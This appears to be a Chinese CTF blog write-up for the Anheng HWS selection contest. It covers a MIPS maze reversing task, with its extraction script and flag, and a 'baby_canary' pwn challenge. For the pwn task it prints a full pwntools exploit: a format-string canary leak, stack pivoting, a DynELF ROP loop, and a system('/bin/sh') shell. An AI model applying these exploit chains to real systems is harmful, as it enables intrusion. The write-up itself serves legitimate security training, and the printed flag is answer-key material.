安恒HWS夏令营选拔赛部分题目

RE

IOT1

环境搭建

参考:
https://www.cnblogs.com/csnd/p/11800622.html

注意网卡那块,要对应自己虚拟机网卡的情况。

启动命令:
qemu-system-mipsel -M malta -hda openwrt-malta-le-root.ext4 -kernel openwrt-malta-le-vmlinux.elf -nographic -append "root=/dev/sda console=tty50"  -net nic -net tap

把虚拟机中要分析的maze文件取出来

scp -r /path/maze username@servername:/path 

使用ghidra进行分析

  fgets(buf,0x28,_stdin);
  len = strlen(buf);
  uStack68 = 0x20;
  if (*(char *)((int)&uStack68 + len + 3) == '\n') {
    *(undefined *)((int)&uStack68 + len + 3) = 0;
    len = len - 1;
  }
  if (len != 0x20) {
    eorr();
  }

这一段可以确定让输入的是32个字符。


void FUN_004006f0(void)

{
  int i;
  int j;

  i = 0;
  while (i < DAT_16) {
    j = 0;
    while (j < 8) {
      maze[i * 8 + j] =
           (char)(((int)s_AMz1nG~#--Ma7e~_00411034[i] & *(uint *)(&DAT_00411044 + j * 4)) >>
                 (7U - j & 0x1f));
      j = j + 1;
    }
    i = i + 1;
  }
  return;
}

可以看到迷宫是在运行时根据部分数据,来生成的。并且其中一行是8个数据,一列是16个,一共128个数据。

可以使用gdb,断点在这个函数之后,把迷宫提取出来。提取出来的都是0x1 和 0x0
组成的迷宫。

进入控制走位的函数:

  heng = 1;
  shu = 0;
  pcStackX0 = param_1

这个地方控制说,起先起点是第1行的第2个位置。

check函数,主要是看你是不是在移动后,走到了0上,走到的话,程序就判你失败。

往下看,发现主要判断:

          if (cVar1 != 'U') {
LAB_00400ad4:
            if ((heng == 1) && (shu == 10)) {
              uVar3 = 1;
            }
            else {
              uVar3 = 0;
            }

在这一段,可以确定走到第11列的第2个数字即可。

提取迷宫图并处理

脚本提取
data="AMz1nG~#--Ma7e~"
data2=[0x80,0x40,0x20,0x10,0x8,0x4,0x2,0x1]
maze=[]
lie=0
while lie<15:
    hang=0
    while hang<8:
        # print(hex(ord(data[lie])&data2[hang]),(7-hang&0x1f))
        maze.append((ord(data[lie])&data2[hang])>>(7-hang&0x1f))
        hang+=1
    lie+=1
print(maze)

就这迷宫,我看了好一会才能走好。🤣🤣服了自己,老以为是数据提取错了。

flag = md5{DDRDDLDDRRRRRDRDDDDDLLDDLLLUUULU}

PWN

baby_canary_

分析

漏洞点
  • 格式化字符串漏洞,可以用来泄漏。
  • 栈溢出,只能1个gadget。
难点
栈迁移

只能溢出一个gadget,肯定是打栈迁移,但是跟以往的栈迁移不同的是,这一个gadget只能溢出到rbp,并不能覆盖到ret address,所以只能覆盖好rbp后,利用程序走出这个函数后,将要结束程序时的leave ret

但是需要注意的是因为在走过一次 leave ret时,此时的rbp已经被改了,再过程序的第二个leave ret 前,需要过一下canary的检测:

[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x0
RDX: 0x38 ('8')
RSI: 0x7ffefee5e310 --> 0x26c46b053d3e2f00
RDI: 0x0
RBP: 0x601198 --> 0x26c46b053d3e2f00
RSP: 0x7ffefee5e350 --> 0x7ffefee5e440 --> 0x1
RIP: 0x4008de (mov    rdx,QWORD PTR [rbp-0x8])
R8 : 0x7f0bb0977700 (0x00007f0bb0977700)
R9 : 0x12
R10: 0x78 ('x')
R11: 0x246
R12: 0x400680 (xor    ebp,ebp)
R13: 0x7ffefee5e440 --> 0x1
R14: 0x0
R15: 0x0
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x4008cf:    mov    eax,0x0
   0x4008d4:    call   0x4007de
   0x4008d9:    mov    eax,0x0
=> 0x4008de:    mov    rdx,QWORD PTR [rbp-0x8]
   0x4008e2:    xor    rdx,QWORD PTR fs:0x28
   0x4008eb:    je     0x4008f2
   0x4008ed:    call   0x400600 <__stack_chk_fail@plt>

看这里,在取数值时,其在你迁移的bss段读取数值到rdx进行判断的,所以在第一次往bss段读的时候,填充好canary的值。

并且这个题,在看got表到bss段的距离也是很近的。

所以在迁移的时候需要注意,从有实际意义的函数(比如puts)开始前就得把栈抬高。否则在进入libc的内部调用函数时,会因为各种push pop 而修改到got处的东西,导致不仅泄漏的数值有问题,并且容易让程序崩掉。

payload = p64(canary)*(0x100/8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi)+p64(0)

s.sendafter("canary ' s 5 0 n g :",payload)
payload = p64(canary)*6+p64(bss+0x100-8)
s.sendafter("canary ' s h 0 m e :",payload)
s.recvline()
puts = u64(s.recv(6).ljust(8,'\x00'))
success(hex(puts))
s.recvline()

此处就可以泄漏出puts函数的libc地址,但是由于出题人想考察ret2dl_runtime_resolve,所以应该是魔改了libc。

然后可以使用DynELF来搞定,参考群里师傅分享的exp。

Dynelf函数怎么写

由于程序只有puts函数来输出,就用puts函数来进行泄漏。

payload = p64(0) * 57 +p64(canary) * 2  +p64(pop_rdi)+p64(address)+p64(puts_plt)+ p64(start_addr)

本来我是这样写的,但是发现程序还是会崩,由于程序情况的限制,栈只能提高0x1b0这样,还是不够用。

还是就想办法提升栈,往高点的bss上写入rop进行想要的操作。

这个就在Dynelf前写好,用rop控制参数,调用read函数来往高点的bss段进行写payload,并且最后用pop rsp的操作,把写好rop chain的bss的地址pop 到rsp上,然后再ret上去:

payload = p64(canary)*(0x100/8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15)+p64(bss+0x500)+p64(0)+p64(read_plt)+p64(pop_rsp_3)+p64(bss+0x500-8*3)+"/bin/sh\x00"

s.sendafter("canary ' s 5 0 n g :",payload)
payload = p64(canary)*6+p64(bss+0x100-8)
s.sendafter("canary ' s h 0 m e :",payload)
s.recvline()

接着就是用这写好好的rop chain,进行泄漏地址,为了Dynelf多次调用泄漏,在泄漏地址后,跟上read函数继续往这段地址上读取同样的rop chain,然后再次控制rsp,接着ret到对应的位置:

def vuln(address):
    payload = p64(pop_rdi)+p64(address)+p64(puts_plt)+p64(pop_rdi)+p64(0)
    payload += p64(pop_rsi_r15)+p64(bss+0x500)+p64(0) + \
                   p64(read_plt)+p64(pop_rsp_3)+p64(0x6015a0-8*3)
    s.recvline(timeout=0.07)
    s.send(payload)
    count = 0
    up = ""
    buf = ''
    while True:
        c = s.recv(numb=1, timeout=0.07)
        count += 1
        if up == '\n' and c == "":  
            buf = buf[:-1]            
            buf += "\x00"
            break
        else:
            buf += c
            up = c
    data = buf[:8]
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

可以看到是提高了0x500个字节的地方进行rop,做好用控制rsp,ret后进行反复横跳跃,完成对system 的寻找。感觉这是很好的办法,因为栈迁移的核心还是控制rsp,最初学习是见过2次栈迁移的题目,当时用的还是leave ret 来进行的控制,现在看到直接使用pop rsp 来控制,的确是方便又简单的办法。

exp

from pwn import *
# from LibcSearcher import *
s = process("./pwn")
# s = remote("183.129.189.61",54900)
libc = ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
elf = ELF("./pwn")
context.log_level='debug'
def debug():
    # gdb.attach(proc.pidof(s)[0],gdbscript='b main')
    gdb.attach(s)
    pause()
pop_rdi = 0x0000000000400963
pop_rsi_r15 = 0x0000000000400961
pop_rsp_3 = 0x000000000040095d
leave_ret = 0x00000000004007dc
context.terminal = ['tmux','neww']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
bss = 0x6010a0
s.sendafter("canary ' s @ # $ % ^ & * :\n", "%9$p")
canary = int(s.recvline(keepends=False), 16)
success(hex(canary))
context.arch = 'amd64'


def vuln(address):
    payload = p64(pop_rdi)+p64(address)+p64(puts_plt)+p64(pop_rdi)+p64(0)
    payload += p64(pop_rsi_r15)+p64(bss+0x500)+p64(0) + \
                   p64(read_plt)+p64(pop_rsp_3)+p64(0x6015a0-8*3)
    s.recvline(timeout=0.07)
    s.send(payload)
    count = 0
    up = ""
    buf = ''
    while True:
        c = s.recv(numb=1, timeout=0.07)
        count += 1
        if up == '\n' and c == "":  
            buf = buf[:-1]            
            buf += "\x00"
            break
        else:
            buf += c
            up = c
    data = buf[:8]
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data
debug()
payload = p64(canary)*(0x100/8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(pop_rdi)+p64(0)
payload += p64(pop_rsi_r15)+p64(bss+0x500)+p64(0)+p64(read_plt)+p64(pop_rsp_3)+p64(bss+0x500-8*3)+"/bin/sh\x00"

s.sendafter("canary ' s 5 0 n g :",payload)
payload = p64(canary)*6+p64(bss+0x100-8)
s.sendafter("canary ' s h 0 m e :",payload)
s.recvline()

puts = u64(s.recv(6).ljust(8,'\x00'))
success(hex(puts))
s.recvline()
d = DynELF(vuln,elf=elf)
system = d.lookup('system','libc')
success(hex(system))
payload = p64(pop_rdi)+p64(0x6010a0+0x100+8*11)+p64(system)
s.send(payload)
s.interactive()


re pwn IOT

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!